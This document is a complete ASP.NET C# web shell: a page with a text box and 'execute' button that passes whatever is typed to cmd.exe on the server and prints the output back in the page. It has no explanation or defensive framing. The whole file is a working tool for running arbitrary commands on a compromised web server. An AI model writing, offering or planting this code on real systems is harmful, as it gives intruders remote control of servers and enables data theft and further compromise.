<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
    string item = cmd.Text;
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    string strOutput = null;
    p.Start();
    p.StandardInput.WriteLine(item);
    p.StandardInput.WriteLine("exit");
    strOutput = p.StandardOutput.ReadToEnd();
    p.WaitForExit();
    p.Close();
    Response.Write("<pre>");
    Response.Write(strOutput);
    Response.Write("</pre>");
}
    protected void Page_Load(object sender, EventArgs e)
    {
    }
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>